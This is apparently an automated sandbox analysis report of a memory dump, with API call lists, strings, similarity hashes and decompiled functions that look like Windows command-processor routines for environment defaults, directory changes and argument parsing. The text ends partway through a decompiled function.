0x0087d239
0x0087d23e
0x0087d23f
0x0087d242
0x0087d243
0x00000000
0x0087d186
0x0087d186
0x0087d18a
0x0087d18b
0x0087d18c
0x0087d18d
0x0087d18e
0x0087d18e
0x0087d194
0x0087d199
0x0088b555
0x0088b55b
0x0088b563
0x0088b565
0x0088b565
0x0088b56f
0x0088b56f
0x0087d1de
0x00000000
0x0087d1de
0x0087d19f
0x0087d1a2
0x0087d1ab
0x0087d1b0
0x0087d254
0x00000000
0x00000000
0x0087d25f
0x0087d265
0x0087d26b
0x00000000
0x00000000
0x0087d273
0x0087d27c
0x0087d290
0x0088b577
0x0088b57d
0x0088b584
0x00000000
0x00000000
0x0088b58d
0x0088b59c
0x0088b58f
0x0088b590
0x0088b596
0x00000000
0x0088b58d
0x0087d296
0x0087d2ab
0x0088b5a9
0x0088b5b4
0x0088b5b4
0x0087d2b6
0x0088b5c4
0x0088b5cf
0x0088b5cf
0x0087d2b6
0x0087d1b6
0x0087d1b6
0x0087d1b9
0x0087d1c0
0x0087d1c5
0x0088b5da
0x0088b5e2
0x0088b5e8
0x0087d1d2
0x0087d1d5
0x0087d1dc
0x00000000
0x0087d1dc
0x0087d180
0x00000000

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,?,0000000C,00000004,00000080,00000000), ref: 0087D18E
_open_osfhandle.MSVCRT ref: 0087D1A2
_wcsicmp.MSVCRT ref: 0087D1EF
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,40000000,00000003,0000000C,00000003,00000080,00000000,0089F830,00002000), ref: 0087D221
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?), ref: 0087D25F
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 0087D287
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,00000001,?,00000000), ref: 0087D2A3
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,FFFFFFFF,00000002), ref: 0088B5B4
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,000000FF,FFFFFFFF,00000002), ref: 0088B5CF

Strings

con, xrefs: 0087D1E4

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File$Pointer$Create$ReadSize_open_osfhandle_wcsicmp
String ID: con
API String ID: 686027947-4257191772
Opcode ID: 8e7e1833d6421a6d61505b1a7842519f299f88e1def12ab66e8cf84ad9787b35
Instruction ID: c5f413b0a5d0aa4105c3f4925680f1e08160d67b973553b77968696199f3f33b
Opcode Fuzzy Hash: 8e7e1833d6421a6d61505b1a7842519f299f88e1def12ab66e8cf84ad9787b35
Instruction Fuzzy Hash: 0851D670A00309ABD710DBA89C49BAEBBB8FF45724F108325F969E72D4D774D906C761

Uniqueness

Uniqueness Score: -1.00%

Function 0087CEA9, Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0087CEA9() {
				signed int _v8;
				long _v12;
				char _v16;
				int _v20;
				void _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t30;
				WCHAR* _t41;
				struct HINSTANCE__* _t50;
				struct HINSTANCE__* _t52;
				void* _t53;
				int _t55;
				void* _t56;
				struct HINSTANCE__* _t78;
				signed int _t79;
				struct HINSTANCE__* _t81;
				void* _t85;
				int* _t88;
				void* _t89;
				struct HINSTANCE__* _t91;
				struct HINSTANCE__* _t96;
				signed int _t98;

				_t30 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t30 ^ _t98;
				_t91 = 0;
				_v12 = 0x104;
				_v20 = 0;
				_v16 = 1;
				memset( &_v540, 0, 0x104);
				if(E00880C70( &_v540, ((0 | _v16 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
					do {
						__eflags = E00884B60(__eflags, 0);
					} while (__eflags == 0);
					exit(1);
					L13:
					_t41 =  &_v540;
					L2:
					GetModuleFileNameW(_t91, _t41, _v12);
					if(E0087CFBC(L"PATH") == 0) {
						E00883A50(L"PATH", 0x8724ac);
					}
					if(E0087CFBC(L"PATHEXT") == 0) {
						E00883A50(L"PATHEXT", L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC");
					}
					_t95 = L"PROMPT";
					if(E0087CFBC(L"PROMPT") == 0) {
						E00883A50(L"PROMPT", L"$P$G");
					}
					if(E0087CFBC(L"COMSPEC") == 0) {
						_t68 = _v20;
						__eflags = _v20;
						if(_v20 == 0) {
							_t68 =  &_v540;
						}
						_t85 = 0x2e;
						_t50 = E0087D7D4(_t68, _t85);
						__eflags = _t50;
						if(_t50 != 0) {
							L33:
							_t86 = _v20;
							__eflags = _v20;
							if(_v20 == 0) {
								_t86 =  &_v540;
							}
							E00883A50(L"COMSPEC", _t86);
							goto L6;
						} else {
							__imp___wcsupr(L"CMD.EXE");
							_t78 = _v20;
							_t96 = _t78;
							__eflags = _t78;
							if(_t78 == 0) {
								_t96 =  &_v540;
							}
							_t88 =  &(_t96->i);
							do {
								_t55 = _t96->i;
								_t96 =  &(_t96->i);
								__eflags = _t55 - _t91;
							} while (_t55 != _t91);
							_t91 = _t78;
							_t95 = _t96 - _t88 >> 1;
							__eflags = _t78;
							if(_t78 == 0) {
								_t91 =  &_v540;
								_t78 = _t91;
							}
							_t89 = 0x5c;
							_t56 = E00882349(_t78, _t89);
							_t79 = _t95 - 1;
							__eflags = _t91 + _t79 * 2 - _t56;
							_t81 = _v20;
							if(_t91 + _t79 * 2 == _t56) {
								__eflags = _t81;
								if(_t81 == 0) {
									_t81 =  &_v540;
								}
								_push(L"CMD.EXE");
							} else {
								__eflags = _t81;
								if(_t81 == 0) {
									_t81 =  &_v540;
								}
								_push(L"\\CMD.EXE");
							}
							E008818C0(_t81, _v12);
							goto L33;
						}
					} else {
						L6:
						_t52 = E0087CFBC(L"KEYS");
						if(_t52 != 0) {
							__imp___wcsicmp(_t52, L"ON");
							__eflags = _t52;
							if(__eflags == 0) {
								 *0x8b852c = 1;
							}
						}
						_t73 =  *0x8b3cb8;
						_t109 =  *0x8b3cb8;
						if( *0x8b3cb8 == 0) {
							_t73 = 0x8b3ab0;
						}
						_t53 = E008833FC(1, _t73, 1, _t91, _t95, _t109);
						__imp__??_V@YAXPAX@Z();
						return E00886FD0(_t53, 1, _v8 ^ _t98, 1, _t91, _t95, _v20);
					}
				}
				_t41 = _v20;
				if(_t41 == 0) {
					goto L13;
				}
				goto L2;
			}

0x0087ceb4
0x0087cebb
0x0087cecc
0x0087cece
0x0087ced4
0x0087ceda
0x0087cedd
0x0087cf03
0x0088b419
0x0088b41f
0x0088b41f
0x0088b424
0x0088b42a
0x0088b42a
0x0087cf14
0x0087cf19
0x0087cf2d
0x0088b43c
0x0088b43c
0x0087cf41
0x0088b44d
0x0088b44d
0x0087cf47
0x0087cf55
0x0087cfae
0x0087cfae
0x0087cf63
0x0088b457
0x0088b45a
0x0088b45c
0x0088b45e
0x0088b45e
0x0088b466
0x0088b467
0x0088b46c
0x0088b46e
0x0088b4e8
0x0088b4e8
0x0088b4eb
0x0088b4ed
0x0088b4ef
0x0088b4ef
0x0088b4fa
0x00000000
0x0088b470
0x0088b475
0x0088b47c
0x0088b47f
0x0088b481
0x0088b483
0x0088b485
0x0088b485
0x0088b48b
0x0088b48e
0x0088b48e
0x0088b491
0x0088b494
0x0088b494
0x0088b49b
0x0088b49d
0x0088b49f
0x0088b4a1
0x0088b4a3
0x0088b4a9
0x0088b4a9
0x0088b4ad
0x0088b4ae
0x0088b4b3
0x0088b4b9
0x0088b4bb
0x0088b4be
0x0088b4d1
0x0088b4d3
0x0088b4d5
0x0088b4d5
0x0088b4db
0x0088b4c0
0x0088b4c0
0x0088b4c2
0x0088b4c4
0x0088b4c4
0x0088b4ca
0x0088b4ca
0x0088b4e3
0x00000000
0x0088b4e3
0x0087cf69
0x0087cf69
0x0087cf6e
0x0087cf75
0x0088b50a
0x0088b512
0x0088b514
0x0088b51a
0x0088b51a
0x0088b514
0x0087cf7b
0x0087cf81
0x0087cf83
0x0087cfb5
0x0087cfb5
0x0087cf87
0x0087cf8f
0x0087cfa6
0x0087cfa6
0x0087cf63
0x0087cf09
0x0087cf0e
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 0087CEDD

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,?,?,-00000001), ref: 0087CF19

Part of subcall function 0087CFBC: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,0089F830,00002000,?,?,?,?,?,0088373A,0087590A,00000000), ref: 0087CFDF

Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D005
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D01B
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D031
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D047
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D05D
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D073
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D085
Part of subcall function 0087CFBC: _wcsicmp.MSVCRT ref: 0087D09B

??_V@YAXPAX@Z.MSVCRT ref: 0087CF8F
exit.MSVCRT ref: 0088B424
_wcsupr.MSVCRT ref: 0088B475

Strings

PATHEXT, xrefs: 0087CF33
PROMPT, xrefs: 0087CF47
$P$G, xrefs: 0087CFA7
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 0088B446
PATH, xrefs: 0087CF1F
KEYS, xrefs: 0087CF69
COMSPEC, xrefs: 0087CF57, 0088B4F5
\CMD.EXE, xrefs: 0088B4CA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp$memset$EnvironmentFileModuleNameVariable_wcsuprexit
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 2336066422-4197029667
Opcode ID: 552460d6e1ed60325ce63b74409e61528999e75f512872c19a29679ac3dc5cb4
Instruction ID: 23786454337189d3ae91ab51401728c8dcef1f23329de595aabc6d605f2a8946
Opcode Fuzzy Hash: 552460d6e1ed60325ce63b74409e61528999e75f512872c19a29679ac3dc5cb4
Instruction Fuzzy Hash: 7E511730B0021997CF18FB6588969BE7766FF94304F0081ADE90AD3286EF74DE05CB85

Uniqueness

Uniqueness Score: -1.00%

Function 008833FC, Relevance: 24.3, APIs: 16, Instructions: 307
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E008833FC(short __ebx, WCHAR* __ecx, WCHAR* __edx, WCHAR* __edi, void* __esi, void* __eflags) {
				void* _t75;
				short _t86;
				WCHAR* _t87;
				WCHAR* _t88;
				signed short* _t90;
				short _t93;
				int _t94;
				WCHAR* _t96;
				WCHAR* _t105;
				short _t109;
				WCHAR* _t113;
				WCHAR* _t115;
				WCHAR* _t125;
				signed int _t126;
				void* _t131;
				WCHAR* _t142;
				WCHAR* _t145;
				WCHAR* _t153;
				short* _t164;
				WCHAR* _t166;
				signed int _t168;
				WCHAR* _t169;
				short* _t176;
				void* _t177;

				_t173 = __edi;
				_t135 = __ebx;
				_push(0x240);
				_push(0x89bdd8);
				E008875CC(__ebx, __edi, __esi);
				 *(_t177 - 0x24c) = __edx;
				_t175 = __ecx;
				_t75 = 0x5c;
				if( *((intOrPtr*)(__ecx)) == _t75) {
					if( *((intOrPtr*)(__ecx + 2)) != _t75) {
						goto L1;
					} else {
					}
				} else {
					L1:
					E00880D51(_t177 - 0x244);
					if(E00880C70(_t177 - 0x244, ((0 |  *((intOrPtr*)(_t177 - 0x38)) == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
						L52:
						E00880DE8(_t82, _t177 - 0x244);
						goto L54;
					} else {
						_t173 = E0087DF40(_t175);
						 *(_t177 - 0x250) = _t173;
						if(_t173 == 0) {
							goto L52;
						} else {
							 *((intOrPtr*)(_t177 - 4)) = 0;
							_t142 = _t173;
							_t9 =  &(_t142[1]); // 0x2
							_t164 = _t9;
							do {
								_t86 =  *_t142;
								_t142 =  &(_t142[1]);
							} while (_t86 != 0);
							_t87 =  &(_t173[_t142 - _t164 >> 1]);
							_t145 = _t87;
							while(1) {
								 *(_t177 - 0x248) = _t87;
								if(_t145 <= _t173) {
									break;
								}
								_t13 = _t87 - 2; // -4
								_t145 = _t13;
								if( *_t145 == 0x20) {
									_t87 = _t145;
									continue;
								}
								break;
							}
							 *_t87 = 0;
							_t88 =  *(_t177 - 0x3c);
							if(_t88 == 0) {
								_t88 = _t177 - 0x244;
							}
							GetCurrentDirectoryW( *(_t177 - 0x34), _t88);
							_t90 =  *(_t177 - 0x3c);
							if(_t90 == 0) {
								_t90 = _t177 - 0x244;
							}
							_t135 = towupper( *_t90 & 0x0000ffff);
							_t93 = 0x3d;
							 *((short*)(_t177 - 0x28)) = _t93;
							_t94 = iswalpha( *_t173 & 0x0000ffff);
							_t175 = 0x3a;
							if(_t94 == 0 || _t173[1] != _t175) {
								 *((short*)(_t177 - 0x26)) = _t135;
							} else {
								 *((short*)(_t177 - 0x26)) = towupper( *_t173 & 0x0000ffff);
							}
							 *(_t177 - 0x24) = _t175;
							 *((short*)(_t177 - 0x22)) = 0;
							_t96 =  *(_t177 - 0x3c);
							if(_t96 == 0) {
								_t96 = _t177 - 0x244;
							}
							_t97 = GetFullPathNameW(_t173,  *(_t177 - 0x34), _t96, _t177 - 0x248);
							if(_t97 == 0) {
								L62:
								_t175 = GetLastError();
								goto L64;
							} else {
								if(_t97 >  *(_t177 - 0x34)) {
									L65:
									E00880DE8(_t97, _t177 - 0x244);
									_push(0xfffffffe);
									_push(_t177 - 0x10);
									_push(0x89d0b4);
									L008882BB();
								} else {
									_t153 =  *(_t177 - 0x3c);
									_t105 = _t153;
									if(_t153 == 0) {
										_t105 = _t177 - 0x244;
									}
									if( *_t105 == 0) {
										L55:
										E00880DE8(_t105, _t177 - 0x244);
										_push(0xfffffffe);
										_push(_t177 - 0x10);
										_push(0x89d0b4);
										L008882BB();
										_push(3);
										goto L56;
									} else {
										if(_t153 == 0) {
											_t105 = _t177 - 0x244;
										}
										if(_t105[1] != _t175) {
											goto L55;
										} else {
											_t166 = _t153;
											if(_t153 == 0) {
												_t166 = _t177 - 0x244;
											}
											_t176 =  &(_t166[1]);
											do {
												_t109 =  *_t166;
												_t166 =  &(_t166[1]);
											} while (_t109 !=  *((intOrPtr*)(_t177 - 4)));
											_t168 = _t166 - _t176 >> 1;
											if(_t153 == 0) {
												_t153 = _t177 - 0x244;
											}
											_t169 =  &(_t153[_t168]);
											while(1) {
												_t175 = _t169;
												 *(_t177 - 0x248) = _t169;
												if(_t175 <= E00886CF0(_t177 - 0x244) + 6) {
													break;
												}
												_t131 = 0x5c;
												if( *((intOrPtr*)(_t169 - 2)) == _t131) {
													_t169 = _t175 - 2;
													continue;
												}
												break;
											}
											 *_t169 = 0;
											_t113 =  *(_t177 - 0x3c);
											if(_t113 == 0) {
												_t113 = _t177 - 0x244;
											}
											if(GetFileAttributesW(_t113) == 0xffffffff) {
												_t175 = GetLastError();
												if(_t175 == 2 || _t175 == 3) {
													goto L29;
												} else {
													if(_t175 != 0x7b) {
														goto L64;
													} else {
														goto L29;
													}
												}
											} else {
												L29:
												if( *0x8b3cc9 == 0) {
													L32:
													_t175 =  *(_t177 - 0x24c);
													if(_t175 == 2) {
														L36:
														if(_t175 == 0 || _t175 == 1 && _t135 ==  *((intOrPtr*)(_t177 - 0x26))) {
															_t115 =  *(_t177 - 0x3c);
															if(_t115 == 0) {
																_t115 = _t177 - 0x244;
															}
															if(SetCurrentDirectoryW(_t115) == 0) {
																goto L62;
															} else {
																goto L41;
															}
														} else {
															L41:
															_t170 =  *(_t177 - 0x3c);
															if( *(_t177 - 0x3c) == 0) {
																_t170 = _t177 - 0x244;
															}
															if(E00883A50(_t177 - 0x28, _t170) != 0) {
																E00880DE8(_t117, _t177 - 0x244);
																_push(0xfffffffe);
																_push(_t177 - 0x10);
																_push(0x89d0b4);
																L008882BB();
																L54:
																_push(8);
																L56:
															} else {
																_t158 =  *0x8b3cb8;
																if( *0x8b3cb8 == 0) {
																	_t158 = 0x8b3ab0;
																}
																E008836CB(_t135, _t158,  *0x8b3cc0, 0);
																 *((intOrPtr*)(_t177 - 4)) = 0xfffffffe;
																E00880DE8(E008836AC(_t173), _t177 - 0x244);
															}
														}
													} else {
														_t125 =  *(_t177 - 0x3c);
														if(_t125 == 0) {
															_t125 = _t177 - 0x244;
														}
														_t126 = GetFileAttributesW(_t125);
														if(_t126 == 0xffffffff) {
															_t98 = GetLastError();
															_t175 = _t98;
															if(_t98 == 2) {
																_t175 = 3;
															}
															L64:
															E00880DE8(_t98, _t177 - 0x244);
															_push(0xfffffffe);
															_push(_t177 - 0x10);
															_push(0x89d0b4);
															L008882BB();
														} else {
															if((_t126 & 0x00000410) == 0) {
																E00880DE8(_t126, _t177 - 0x244);
																_push(0xfffffffe);
																_push(_t177 - 0x10);
																_push(0x89d0b4);
																L008882BB();
															} else {
																goto L36;
															}
														}
													}
												} else {
													_t161 =  *(_t177 - 0x3c);
													if( *(_t177 - 0x3c) == 0) {
														_t161 = _t177 - 0x244;
													}
													if(E0088245C(_t161,  *(_t177 - 0x34), 0) == 0) {
														goto L65;
													} else {
														goto L32;
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return E00887614(_t135, _t173, _t175);
			}

0x008833fc
0x008833fc
0x008833fc
0x00883401
0x00883406
0x0088340b
0x00883411
0x00883415
0x00883419
0x0088dc11
0x00000000
0x0088dc17
0x0088dc17
0x0088341f
0x0088341f
0x00883425
0x0088344b
0x0088dc21
0x0088dc27
0x00000000
0x00883451
0x00883458
0x0088345a
0x00883462
0x00000000
0x00883468
0x0088346a
0x0088346d
0x0088346f
0x0088346f
0x00883472
0x00883472
0x00883475
0x00883478
0x00883481
0x00883484
0x00883486
0x00883486
0x0088348e
0x00000000
0x00000000
0x00883490
0x00883490
0x00883497
0x0088dc76
0x00000000
0x0088dc76
0x00000000
0x00883497
0x0088349f
0x008834a2
0x008834a7
0x0088dc7d
0x0088dc7d
0x008834b1
0x008834b7
0x008834bc
0x0088dc88
0x0088dc88
0x008834cd
0x008834d2
0x008834d3
0x008834db
0x008834e4
0x008834e7
0x0088dc93
0x008834f7
0x00883502
0x00883502
0x00883506
0x0088350c
0x00883510
0x00883515
0x0088dc9c
0x0088dc9c
0x00883527
0x0088352f
0x0088dca7
0x0088dcad
0x00000000
0x00883535
0x00883538
0x0088dcd9
0x0088dcdf
0x0088dce4
0x0088dce9
0x0088dcea
0x0088dcef
0x0088353e
0x0088353e
0x00883543
0x00883545
0x0088dd01
0x0088dd01
0x00883550
0x0088dc50
0x0088dc56
0x0088dc5b
0x0088dc60
0x0088dc61
0x0088dc66
0x0088dc6e
0x00000000
0x00883556
0x0088355a
0x0088dd0c
0x0088dd0c
0x00883564
0x00000000
0x0088356a
0x0088356c
0x0088356e
0x0088dd17
0x0088dd17
0x00883574
0x00883577
0x00883577
0x0088357a
0x0088357d
0x00883585
0x00883589
0x0088dd22
0x0088dd22
0x0088358f
0x00883592
0x00883592
0x00883594
0x008835aa
0x00000000
0x00000000
0x008835ae
0x008835b3
0x008836a4
0x00000000
0x008836a4
0x00000000
0x008835b3
0x008835bb
0x008835be
0x008835c3
0x0088dd2d
0x0088dd2d
0x008835d3
0x0088dd3e
0x0088dd43
0x00000000
0x0088dd52
0x0088dd55
0x00000000
0x0088dd5b
0x00000000
0x0088dd5b
0x0088dd55
0x008835d9
0x008835d9
0x008835e0
0x00883600
0x00883600
0x00883609
0x00883631
0x00883633
0x00883640
0x00883645
0x008836b4
0x008836b4
0x00883650
0x00000000
0x00000000
0x00000000
0x00000000
0x00883656
0x00883656
0x00883656
0x0088365b
0x008836bc
0x008836bc
0x00883667
0x0088dc34
0x0088dc39
0x0088dc3e
0x0088dc3f
0x0088dc44
0x0088dc4c
0x0088dc4c
0x0088dc70
0x0088366d
0x0088366d
0x00883675
0x008836c4
0x008836c4
0x00883680
0x00883685
0x00883697
0x0088369c
0x00883667
0x0088360b
0x0088360b
0x00883610
0x0088dd6b
0x0088dd6b
0x00883617
0x00883620
0x0088dd76
0x0088dd7c
0x0088dd81
0x0088dcb3
0x0088dcb3
0x0088dcb4
0x0088dcba
0x0088dcbf
0x0088dcc4
0x0088dcc5
0x0088dcca
0x00883626
0x0088362b
0x0088dd92
0x0088dd97
0x0088dd9c
0x0088dd9d
0x0088dda2
0x00000000
0x00000000
0x00000000
0x0088362b
0x00883620
0x008835e2
0x008835e2
0x008835e7
0x0088dd60
0x0088dd60
0x008835fa
0x00000000
0x00000000
0x00000000
0x00000000
0x008835fa
0x008835e0
0x008835d3
0x00883564
0x00883550
0x00883538
0x0088352f
0x00883462
0x0088344b
0x008836a3

APIs

Part of subcall function 00880D51: memset.MSVCRT ref: 00880D7D

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?,?,?,?,?), ref: 008834B1
towupper.MSVCRT ref: 008834C6
iswalpha.MSVCRT ref: 008834DB
towupper.MSVCRT ref: 008834FB
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?), ref: 00883527
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 008835CA
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00883617
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?), ref: 00883648
_local_unwind4.MSVCRT ref: 0088DC44
_local_unwind4.MSVCRT ref: 0088DC66

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesCurrentDirectoryFile_local_unwind4memsettowupper$FullNamePathiswalpha
String ID:
API String ID: 2497804757-0
Opcode ID: 7f4670b6d9dcff5520f19b0511753c12ec413a61b2a11fb524119f7498d7e689
Instruction ID: 38fb13c9a95d7341c1d4f0286608e61c92289b12314fc1fb6835a78f3b568126
Opcode Fuzzy Hash: 7f4670b6d9dcff5520f19b0511753c12ec413a61b2a11fb524119f7498d7e689
Instruction Fuzzy Hash: 22B1BD30A04219EACB28FB68DD45ABDB375FF54700F544269E81AE72D0EB709F84DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0087EA40, Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 413
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0087EA40(signed short* __ecx, wchar_t* __edx, signed int _a4) {
				long _v8;
				signed int _v12;
				long _v16;
				wchar_t* _v20;
				long _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				long _v236;
				char* _v260;
				char _v264;
				wchar_t* _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t73;
				signed int _t79;
				signed short _t81;
				signed int _t82;
				long _t83;
				wchar_t* _t85;
				signed char _t86;
				signed int _t87;
				int _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				long _t94;
				signed int _t96;
				signed int _t104;
				signed int _t105;
				void* _t108;
				signed int _t109;
				signed int _t110;
				signed int* _t113;
				signed int _t114;
				signed int _t115;
				long _t116;
				signed int _t118;
				signed int _t121;
				signed int _t123;
				wchar_t* _t126;
				intOrPtr _t127;
				signed int _t128;
				signed int _t129;
				void* _t130;
				long _t134;
				wchar_t* _t135;
				wchar_t* _t136;
				signed int* _t137;
				intOrPtr* _t138;
				signed short* _t143;
				long _t144;
				long _t145;
				signed int _t150;
				signed int _t158;
				signed int _t159;
				long _t160;
				long _t164;
				void* _t169;
				signed int _t172;
				long _t173;
				signed int _t177;
				void* _t179;
				signed int _t180;
				signed int _t183;
				signed short* _t185;
				signed short* _t186;
				long _t187;
				signed int* _t188;
				signed int _t190;
				signed int _t191;
				void* _t193;

				_t167 = __edx;
				_t138 = __ecx;
				_t73 =  *0x89d0b4; // 0x987dc5f4
				_v12 = _t73 ^ _t191;
				_t186 = __ecx;
				_t136 = __edx;
				if(__ecx == 0) {
					_t139 = 4;
					_t75 = E008800B0(4);
					__eflags = _t75;
					if(_t75 != 0) {
						goto L23;
					} else {
						E00899287(4);
						__imp__longjmp(0x8ab8b8, 1);
						goto L95;
					}
				} else {
					_t2 = _t138 + 2; // 0x2
					_t179 = _t2;
					do {
						_t127 =  *_t138;
						_t138 = _t138 + 2;
					} while (_t127 != 0);
					_t139 = 4 + (_t138 - _t179 >> 1) * 4;
					_t128 = E008800B0(4 + (_t138 - _t179 >> 1) * 4);
					_v236 = _t128;
					if(_t128 == 0) {
						L95:
						E00899287(_t139);
						__imp__longjmp(0x8ab8b8, 1);
						goto L96;
					} else {
						_v228 = _t128;
						_t185 = L"=,;";
						_t129 = 0;
						_v220 = 0;
						while(1) {
							_t164 =  *_t185 & 0x0000ffff;
							_v224 = _t164;
							if(_t164 == 0) {
								break;
							}
							if(_t136 == 0) {
								L9:
								 *(_t191 + _t129 * 2 - 0xd4) = _t164;
								_t129 = _t129 + 1;
								_v220 = _t129;
							} else {
								_t135 = wcschr(_t136, _t164);
								_t193 = _t193 + 8;
								_t129 = _v220;
								if(_t135 == 0) {
									_t164 = _v224;
									goto L9;
								}
							}
							_t185 =  &(_t185[1]);
							if(_t129 < 0x63) {
								continue;
							}
							break;
						}
						_t183 = _v228;
						_t130 = _t129 + _t129;
						if(_t130 >= 0xc8) {
							E0088711D(_t130, _t136, _t164, _t179, _t183, _t186);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t191);
							_push(_t136);
							_push(_t186);
							_v264 = 0;
							_push(_t183);
							__eflags = 0;
							_v260 =  &_v264;
							_t136 = E0087E9A0(0, 0);
							_v268 = _t136;
							goto L62;
						} else {
							_v224 = 1;
							 *((short*)(_t191 + _t130 - 0xd4)) = 0;
							_t134 =  *_t186 & 0x0000ffff;
							_v220 = 1;
							if(_t134 != 0) {
								_t144 = _t134;
								L14:
								if(_t144 == 0x22) {
									L17:
									_v224 = 0;
									if(_t136 == 0) {
										L19:
										 *_t180 =  *_t186;
										_t180 = _t180 + 2;
										if( *_t186 == 0x22) {
											while(1) {
												_t81 = _t186[1];
												_t143 = _t186;
												_t186 =  &(_t186[1]);
												 *_t180 = _t81;
												_t180 = _t180 + 2;
												_t82 =  *_t186 & 0x0000ffff;
												__eflags = _t82;
												if(_t82 == 0) {
													break;
												}
												__eflags = _t82 - 0x22;
												if(_t82 == 0x22) {
													goto L20;
												} else {
													__eflags = _t186[1];
													if(_t186[1] != 0) {
														continue;
													} else {
														goto L20;
													}
												}
												goto L22;
											}
											_t186 = _t143;
										}
										L20:
										_v220 = 0;
									} else {
										_t85 = wcschr(_t136,  *_t186 & 0x0000ffff);
										_t193 = _t193 + 8;
										if(_t85 != 0) {
											_t86 = _a4;
											__eflags = _t86 & 0x00000002;
											if((_t86 & 0x00000002) != 0) {
												__eflags = _v220;
												_t87 =  *_t186 & 0x0000ffff;
												if(_v220 == 0) {
													_t180 = _t180 + 2;
												}
												 *_t180 = _t87;
												_v220 = 1;
												_t180 = _t180 + 4;
											} else {
												__eflags = _t86 & 0x00000004;
												if((_t86 & 0x00000004) != 0) {
													 *_t180 =  *_t186;
												}
												_v220 = 0;
												_t180 = _t180 + 2;
											}
										} else {
											goto L19;
										}
									}
									_t83 = _t186[1] & 0x0000ffff;
									_t186 =  &(_t186[1]);
									_t144 = _t83;
									if(_t83 != 0) {
										goto L14;
									}
								} else {
									_t89 = iswspace(_t144);
									_t193 = _t193 + 4;
									if(_t89 != 0) {
										L24:
										_t90 = _a4;
										__eflags = _t90 & 0x00000001;
										if((_t90 & 0x00000001) != 0) {
											__eflags = _v224;
											if(_v224 == 0) {
												goto L17;
											} else {
												goto L25;
											}
										} else {
											L25:
											_t91 = _t90 & 0x00000002;
											__eflags = _t91;
											_v228 = _t91;
											if(_t91 == 0) {
												L28:
												_t93 = _a4 & 0x00000004;
												__eflags = _t93;
												_v232 = _t93;
												if(_t93 != 0) {
													L96:
													_t79 = E0087D7D4(_t136,  *_t186);
													__eflags = _t79;
													if(_t79 != 0) {
														goto L17;
													} else {
														goto L29;
													}
												} else {
													L29:
													_t94 =  *_t186 & 0x0000ffff;
													__eflags = _t94;
													if(_t94 != 0) {
														_t160 = _t94;
														while(1) {
															__eflags = _t160 - 0x22;
															if(_t160 == 0x22) {
																break;
															}
